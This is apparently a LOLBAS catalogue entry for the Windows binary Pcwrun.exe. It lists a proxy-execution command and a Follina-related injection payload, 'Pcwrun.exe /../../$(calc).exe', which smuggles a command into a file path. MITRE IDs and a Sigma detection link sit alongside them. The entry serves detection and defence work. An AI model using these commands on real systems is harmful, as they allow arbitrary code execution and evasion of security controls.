LOL · Binary

Pcwrun.exe

2 techniques WindowsLOLBAS GPL-3.0

Execute

Execution Windows

Open the target .EXE file with the Program Compatibility Wizard.

Use Proxy execution of binary

Pcwrun.exe {PATH_ABSOLUTE:.exe}

Context: user
Native: Execute
MITRE: T1218
Detection: Sigma: github.com/SigmaHQ/sigma/blob/6199a703221a98ae6ad343c79c558da375203e4e/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun_follina.yml
Refs: twitter.com/pabraeken/status/991335019833708544
twitter.com/nas_bench/status/1535663791362519040
lolbas-project.github.io/lolbas/Binaries/Pcwrun/

Execute

Execution Windows

Leverage the MSDT follina vulnerability through Pcwrun to execute arbitrary commands and binaries. Note that this specific technique will not work on a patched system with the June 2022 Windows Security update.

Use Proxy execution of binary

Pcwrun.exe /../../$(calc).exe

Context: user
Native: Execute
MITRE: T1202
Detection: Sigma: github.com/SigmaHQ/sigma/blob/6199a703221a98ae6ad343c79c558da375203e4e/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun_follina.yml
Refs: twitter.com/pabraeken/status/991335019833708544
twitter.com/nas_bench/status/1535663791362519040
lolbas-project.github.io/lolbas/Binaries/Pcwrun/